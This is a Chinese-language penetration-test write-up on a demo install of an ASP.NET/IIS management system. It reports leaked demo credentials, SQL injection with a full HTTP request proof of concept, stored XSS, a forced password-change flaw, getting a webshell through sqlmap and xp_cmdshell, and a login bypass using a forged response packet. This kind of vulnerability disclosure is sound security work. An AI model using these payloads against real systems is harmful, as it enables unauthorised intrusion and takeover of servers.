最近:
离开山东有段时间了,今天刚好有空就回头看看(意难平),搭建框架是WINDOWS+IIS+ASP.NET这个演示版上直接泄露了账号密码,admin/111111。
登录框先试一下SQL注入
SQL注入
bp抓包结果
开局就找了登录框SQL注入,先进后台看一下功能点
功能点不多,简单看了有SQL注入和存储型XSS
存储型XSS
弹窗成功
逻辑缺陷
IP+/pwd.aspx接口可以强制更改密码,勾选强制变更再点击更改可以直接更改密码
SQL注入的接口比较多
bp
POC :
GET /data/Ajax.aspx?method=jczl_list&flb=role&page=1&limit=20&fnumber=1%27&fname=1%27 HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/basedata/role_list.aspx?ModuleID=103&navtabid=a103&reporttitle=WNqUHWMgJmssXIvnsG6MfQ==&fwidth=456&fheight=360
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ASP.NET_SessionId=becfwzplbak3eht1a11eqxsn; pfbs_Login_compid=1001
Connection: keep-alive
sqlmap结果
报错的时候已经泄露了绝对路径,加上windows+asp.net+xp_cmdshell可以直接getshell
sqlmap写webshell
先拿个shell
登录框逻辑缺陷
登录框在验证上有问题,如果返回包没 密码不正确!就直接跳转后台
bp直接拦截返回包再修改返回包即可直接登录后台,可以使用下面的POC返回包
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
Set-Cookie: pfbs_Login_compid=1001; expires=Thu, 26-Sep-2024 13:14:04 GMT; path=/
X-Powered-By: ASP.NET
Date: Tue, 27 Aug 2024 13:14:04 GMT
Content-Length: 0